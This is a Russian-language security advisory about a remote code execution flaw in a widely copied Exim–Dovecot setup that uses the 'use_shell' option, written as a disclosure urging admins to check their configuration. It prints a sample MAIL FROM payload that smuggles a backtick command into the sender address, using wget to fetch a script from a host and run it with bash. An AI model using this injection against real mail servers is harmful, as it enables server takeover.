Опасная уязвимость при использовании рекомендуемых в документации настройках связки Exim и Dovecot

В рекомендованном на wiki-сайте проекта и в некоторых других руководствах примере настройки связки почтового сервера Exim с IMAP/POP3-сервером Dovecot выявлена критическая уязвимость, позволяющая выполнить произвольный код на сервере. Уязвимость может быть эксплуатирована через отправку письма со специальным образом оформленным адресом отправителя. Проблема проявляется только в системах, в которых в конфигурации Exim указана опция «use_shell» в блоке подключения Dovecot.

Изначально статья с ошибочной опцией была опубликована в 2009 году на официальном сайте проекта Dovecot и ошибка успела перекочевать во многие другие руководства. Всем пользователям связки Exim и Dovecot рекомендуется проверить настройки на предмет отсутствия опции «use_shell», при включении которой агент доставки запускается с использованием shell и передачей параметров в командной строке. Метод эксплуатации достаточно прост и сводится к манипуляции с экранированием спецсимволов, позволяя в итоге добиться выполнения shell-команд.

Например, атакующий может указать:

MAIL FROM: red`wget${IFS}-O${IFS}/tmp/p${IFS}example.com/test.sh«bash${IFS}/tmp/p`team@example.com

В процессе обработки такого запроса exim выполнит

/bin/sh -c «/usr/lib/Dovecot/deliver -e -k -s -f «red`wget${IFS}-O${IFS}/tmp/p${IFS}example.com/test.sh«bash${IFS}/tmp/p`team@example.com»

что приведёт к запуску wget, загрузке внешнего скрипта c сайта example.com/test.sh и его запуску.

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *

Этот сайт использует Akismet для борьбы со спамом. Узнайте, как обрабатываются ваши данные комментариев.